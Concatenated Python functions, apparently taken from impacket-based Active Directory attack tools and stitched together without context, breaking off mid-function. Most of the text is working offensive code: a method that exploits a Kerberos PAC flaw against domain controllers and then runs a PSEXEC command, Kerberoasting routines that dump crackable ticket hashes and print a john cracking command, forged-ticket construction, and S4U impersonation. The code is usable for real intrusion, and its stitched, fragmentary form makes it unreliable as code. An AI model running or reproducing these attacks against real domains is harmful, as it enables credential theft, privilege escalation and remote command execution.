def exploit(self): if self.__kdcHost is None: getDCs = True self.__kdcHost = self.__domain else: getDCs = False self.__domainSid, self.__rid = self.getUserSID() try: self.__forestSid = self.getForestSid() except Exception as e: # For some reason we couldn't get the forest data. No problem, we can still continue # Only drawback is we won't get forest admin if successful logging.error('Couldn\'t get forest info (%s), continuing' % str(e)) self.__forestSid = None if getDCs is False: # User specified a DC already, no need to get the list self.__domainControllers.append(self.__kdcHost) else: self.__domainControllers = self.getDomainControllers() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) for dc in self.__domainControllers: logging.info('Attacking domain controller %s' % dc) self.__kdcHost = dc exception = None while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: exception = str(e) break else: exception = str(e) break # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] salt = etype2['salt'].prettyPrint() cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, cipherText) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: exception = str(e) break else: exception = str(e) break else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break if exception is None: # Success! logging.info('%s found vulnerable!' % dc) break else: logging.info('%s seems not vulnerable (%s)' % (dc, exception)) if exception is None: TGS = {} TGS['KDC_REP'] = tgsCIFS TGS['cipher'] = cipher TGS['oldSessionKey'] = oldSessionKeyCIFS TGS['sessionKey'] = sessionKeyCIFS from impacket.smbconnection import SMBConnection if self.__targetIp is None: s = SMBConnection('*SMBSERVER', self.__target) else: s = SMBConnection('*SMBSERVER', self.__targetIp) s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS, useCache=False) if self.__command != 'None': executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile) executer.run(self.__target)
def run(self): if self.__doKerberos: self.__target = self.getMachineName() else: if self.__kdcHost is not None: self.__target = self.__kdcHost else: self.__target = self.__domain # Connect to LDAP ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) searchFilter = ldapasn1.Filter() searchFilter['present'] = ldapasn1.Present('servicePrincipalName') resp = ldapConnection.search(searchFilter=searchFilter, attributes=['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl']) answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 for attribute in item['attributes']: if attribute['type'] == 'sAMAccountName': if str(attribute['vals'][0]).endswith('$') is False: # User Account sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif attribute['type'] == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) elif attribute['type'] == 'memberOf': memberOf = str(attribute['vals'][0]) elif attribute['type'] == 'pwdLastSet': pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif attribute['type'] == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([spn, sAMAccountName,memberOf, pwdLastSet]) if len(answers)>0: self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet"]) print '\n\n' if self.__requestTGS is True: # Let's get unique user names an a SPN to request a TGS for users = dict( (vals[1], vals[0]) for vals in answers) # Get a TGT for the current user TGT = self.getTGT() if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for user, SPN in users.iteritems(): try: serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, user, fd) except Exception , e: logging.error(str(e)) if fd is not None: fd.close()
def createBasicTicket(self): if self.__options.request is True: if self.__domain == self.__server: logging.info('Requesting TGT to target domain to use as basis') else: logging.info('Requesting TGT/TGS to target domain to use as basis') if self.__options.hashes is not None: lmhash, nthash = self.__options.hashes.split(':') else: lmhash = '' nthash = '' userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(lmhash), unhexlify(nthash), None, self.__options.dc_ip) if self.__domain == self.__server: kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] else: serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher, sessionKey) kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # Let's check we have all the necessary data based on the ciphers used. Boring checks ticketCipher = int(kdcRep['ticket']['enc-part']['etype']) encPartCipher = int(kdcRep['enc-part']['etype']) if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \ self.__options.nthash is None: logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. ' 'Can\'t continue ( or try running again w/o the -request option)') return None, None if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ self.__options.aesKey is None: logging.critical( 'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 'Can\'t continue (or try running again w/o the -request option)') return None, None if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ self.__options.aesKey is not None and len(self.__options.aesKey) > 32: logging.critical( 'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. ' 'Can\'t continue (or try running again w/o the -request option)') return None, None if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None: logging.critical( 'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 'Can\'t continue (or try running again w/o the -request option)') return None, None if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \ self.__options.aesKey is not None and len(self.__options.aesKey) < 64: logging.critical( 'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. ' 'Can\'t continue') return None, None kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['cname']['name-string'] = noValue kdcRep['cname']['name-string'][0] = self.__target else: logging.info('Creating basic skeleton ticket and PAC Infos') if self.__domain == self.__server: kdcRep = AS_REP() kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value else: kdcRep = TGS_REP() kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value kdcRep['pvno'] = 5 if self.__options.nthash is None: kdcRep['padata'] = noValue kdcRep['padata'][0] = noValue kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value etype2 = ETYPE_INFO2() etype2[0] = noValue if len(self.__options.aesKey) == 64: etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value else: etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target) encodedEtype2 = encoder.encode(etype2) kdcRep['padata'][0]['padata-value'] = encodedEtype2 kdcRep['crealm'] = self.__domain.upper() kdcRep['cname'] = noValue kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['cname']['name-string'] = noValue kdcRep['cname']['name-string'][0] = self.__target kdcRep['ticket'] = noValue kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value kdcRep['ticket']['realm'] = self.__domain.upper() kdcRep['ticket']['sname'] = noValue kdcRep['ticket']['sname']['name-string'] = noValue kdcRep['ticket']['sname']['name-string'][0] = self.__service if self.__domain == self.__server: kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper() else: kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['ticket']['sname']['name-string'][1] = self.__server kdcRep['ticket']['enc-part'] = noValue kdcRep['ticket']['enc-part']['kvno'] = 2 kdcRep['enc-part'] = noValue if self.__options.nthash is None: if len(self.__options.aesKey) == 64: kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value else: kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value else: kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value kdcRep['enc-part']['kvno'] = 2 kdcRep['enc-part']['cipher'] = noValue pacInfos = self.createBasicPac(kdcRep) return kdcRep, pacInfos
def run(self): # Do we have a TGT cached? tgt = None try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) creds = ccache.getCredential(principal) if creds is not None: # ToDo: Check this TGT belogns to the right principal TGT = creds.toTGT() tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT[ 'sessionKey'] oldSessionKey = sessionKey logging.info('Using TGT from cache') else: logging.debug("No valid credentials found in cache. ") except: # No cache present pass if tgt is None: # Still no TGT userName = Principal( self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) logging.info('Getting TGT for user') tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) # Ok, we have valid TGT, let's try to get a service ticket if self.__options.impersonate is None: # Normal TGS interaction logging.info('Getting ST for user') serverName = Principal( self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) self.__saveFileName = self.__user else: # Here's the rock'n'roll try: logging.info('Impersonating %s' % self.__options.impersonate) tgs, copher, oldSessionKey, sessionKey = self.doS4U( tgt, cipher, oldSessionKey, sessionKey, self.__kdcHost) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: logging.error( 'Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) if str(e).find('KDC_ERR_BADOPTION') >= 0: logging.error( 'Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) return self.__saveFileName = self.__options.impersonate self.saveTicket(tgs, oldSessionKey)
def ldap_kerberos(domain, kdc, tgt, username, ldapconnection, hostname): # Hackery to authenticate with ldap3 using impacket Kerberos stack # I originally wrote this for BloodHound.py, but it works fine (tm) here too username = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) servername = Principal('ldap/%s' % hostname, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc, tgt['KDC_REP'], tgt['cipher'], tgt['sessionKey']) # Let's build a NegTokenInit with a Kerberos AP_REQ blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', username.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # From here back to ldap3 ldapconnection.open(read_server_info=False) request = bind_operation(ldapconnection.version, SASL, None, None, ldapconnection.sasl_mechanism, blob.getData()) response = ldapconnection.post_send_single_response( ldapconnection.send('bindRequest', request, None))[0] ldapconnection.result = response if response['result'] == 0: ldapconnection.bound = True ldapconnection.refresh_server_info() return response['result'] == 0
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises a LDAPSessionError if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0%s' % lmhash if len(nthash) % 2: nthash = '0%s' % nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket from pyasn1.codec.der import decoder, encoder import datetime if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] if domain == '': domain = ccache.principal.realm['data'] LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS() LOG.debug('Using TGS from cache') # First of all, we need to get a TGT for the user userName = Principal( user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal( 'ldap/%s' % self._dstHost, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # Done with the Kerberos saga, now let's get into LDAP bindRequest = BindRequest() bindRequest['version'] = Integer7Bit(3) bindRequest['name'] = LDAPDN(user) credentials = SaslCredentials() credentials['mechanism'] = LDAPString('GSS-SPNEGO') credentials['credentials'] = Credentials(blob.getData()) bindRequest['authentication'] = AuthenticationChoice( ).setComponentByName('sasl', credentials) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] if resp['bindResponse']['resultCode'] != 0: raise LDAPSessionError( errorString='Error in bindRequest -> %s:%s' % (resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage'])) return True
def enumSPNUsers(self): users_spn = {} user_tickets = {} userDomain = self.domuser.split('@')[1] idx = 0 for entry in self.spn: spns = json.loads(self.spn[idx].entry_to_json()) users_spn[self.splitJsonArr( spns['attributes'].get('name'))] = self.splitJsonArr( spns['attributes'].get('servicePrincipalName')) idx += 1 # Get TGT for the supplied user client = Principal(self.domuser, type=constants.PrincipalNameType.NT_PRINCIPAL.value) try: # We need to take the domain from the user@domain since it *could* be a cross-domain user tgt, cipher, _, newSession = getKerberosTGT( client, '', userDomain, compute_lmhash(self.passwd), compute_nthash(self.passwd), None, kdcHost=None) TGT = {} TGT['KDC_REP'] = tgt TGT['cipher'] = cipher TGT['sessionKey'] = newSession for user, spn in users_spn.items(): if isinstance(spn, list): # We only really need one to get a ticket spn = spn[0] else: try: # Get the TGS serverName = Principal( spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, _, newSession = getKerberosTGS( serverName, userDomain, None, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) # Decode the TGS decoded = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # Get different encryption types if decoded['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.rc4_hmac.value: entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format( constants.EncryptionTypes.rc4_hmac.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'] [:16].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'] [16:].asOctets()).decode()) user_tickets[spn] = entry elif decoded['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format( constants.EncryptionTypes. aes128_cts_hmac_sha1_96.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'] [-12:].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'] [:-12].asOctets()).decode()) user_tickets[spn] = entry elif decoded['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format( constants.EncryptionTypes. aes256_cts_hmac_sha1_96.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'] [-12:].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'] [:-12].asOctets()).decode()) user_tickets[spn] = entry elif decoded['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.des_cbc_md5.value: entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format( constants.EncryptionTypes.des_cbc_md5.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'] [:16].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'] [16:].asOctets()).decode()) user_tickets[spn] = entry except KerberosError: # For now continue # TODO: Maybe look deeper into issue here continue if len(user_tickets.keys()) > 0: with open('{0}-spn-tickets'.format(self.server), 'w') as f: for key, value in user_tickets.items(): f.write('{0}:{1}\n'.format(key, value)) if len(user_tickets.keys()) == 1: print( '[ ' + colored('OK', 'yellow') + ' ] Got and wrote {0} ticket for Kerberoasting. Run: john --format=krb5tgs --wordlist=<list> {1}-spn-tickets' .format(len(user_tickets.keys()), self.server)) else: print( '[ ' + colored('OK', 'yellow') + ' ] Got and wrote {0} tickets for Kerberoasting. Run: john --format=krb5tgs --wordlist=<list> {1}-spn-tickets' .format(len(user_tickets.keys()), self.server)) else: print('[ ' + colored('OK', 'green') + ' ] Got {0} tickets for Kerberoasting'.format( len(user_tickets.keys()))) except KerberosError as err: print('[ ' + colored('ERROR', 'red') + ' ] Kerberoasting failed with error: {0}'.format( err.getErrorString()[1]))
# Let's get unique user names and a SPN to request a TGS for users = dict((vals[1], vals[0]) for vals in answers) # Get a TGT for the current user TGT = self.getTGT() if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for user, SPN in users.iteritems(): try: serverName = Principal( SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, self.__domain, self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd) except Exception, e: logging.error('SPN: %s - %s' % (SPN, str(e))) if fd is not None: fd.close() else: print "No entries found!" # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme
def createBasicTicket(self): if self.__options.request is True: if self.__domain == self.__server: logging.info('Requesting TGT to target domain to use as basis') else: logging.info( 'Requesting TGT/TGS to target domain to use as basis') if self.__options.hashes is not None: lmhash, nthash = self.__options.hashes.split(':') else: lmhash = '' nthash = '' userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, unhexlify(lmhash), unhexlify(nthash), None, self.__options.dc_ip) if self.__domain == self.__server: kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] else: serverName = Principal( self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, self.__domain, None, tgt, cipher, sessionKey) kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # Let's check we have all the necessary data based on the ciphers used. Boring checks ticketCipher = int(kdcRep['ticket']['enc-part']['etype']) encPartCipher = int(kdcRep['enc-part']['etype']) if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \ self.__options.nthash is None: logging.critical( 'rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. ' 'Can\'t continue ( or try running again w/o the -request option)' ) return None, None if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ self.__options.aesKey is None: logging.critical( 'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 'Can\'t continue (or try running again w/o the -request option)' ) return None, None if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ self.__options.aesKey is not None and len(self.__options.aesKey) > 32: logging.critical( 'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. ' 'Can\'t continue (or try running again w/o the -request option)' ) return None, None if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value ) and self.__options.aesKey is None: logging.critical( 'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 'Can\'t continue (or try running again w/o the -request option)' ) return None, None if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \ self.__options.aesKey is not None and len(self.__options.aesKey) < 64: logging.critical( 'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. ' 'Can\'t continue') return None, None kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['cname']['name-string'] = noValue kdcRep['cname']['name-string'][0] = self.__target else: logging.info('Creating basic skeleton ticket and PAC Infos') if self.__domain == self.__server: kdcRep = AS_REP() kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value else: kdcRep = TGS_REP() kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value kdcRep['pvno'] = 5 if self.__options.nthash is None: kdcRep['padata'] = noValue kdcRep['padata'][0] = noValue kdcRep['padata'][0][ 'padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value etype2 = ETYPE_INFO2() etype2[0] = noValue if len(self.__options.aesKey) == 64: etype2[0][ 'etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value else: etype2[0][ 'etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target) encodedEtype2 = encoder.encode(etype2) kdcRep['padata'][0]['padata-value'] = encodedEtype2 kdcRep['crealm'] = self.__domain.upper() kdcRep['cname'] = noValue kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['cname']['name-string'] = noValue kdcRep['cname']['name-string'][0] = self.__target kdcRep['ticket'] = noValue kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value kdcRep['ticket']['realm'] = self.__domain.upper() kdcRep['ticket']['sname'] = noValue kdcRep['ticket']['sname']['name-string'] = noValue kdcRep['ticket']['sname']['name-string'][0] = self.__service if self.__domain == self.__server: kdcRep['ticket']['sname'][ 'name-type'] = PrincipalNameType.NT_SRV_INST.value kdcRep['ticket']['sname']['name-string'][ 1] = self.__domain.upper() else: kdcRep['ticket']['sname'][ 'name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['ticket']['sname']['name-string'][1] = self.__server kdcRep['ticket']['enc-part'] = noValue kdcRep['ticket']['enc-part']['kvno'] = 2 kdcRep['enc-part'] = noValue if self.__options.nthash is None: if len(self.__options.aesKey) == 64: 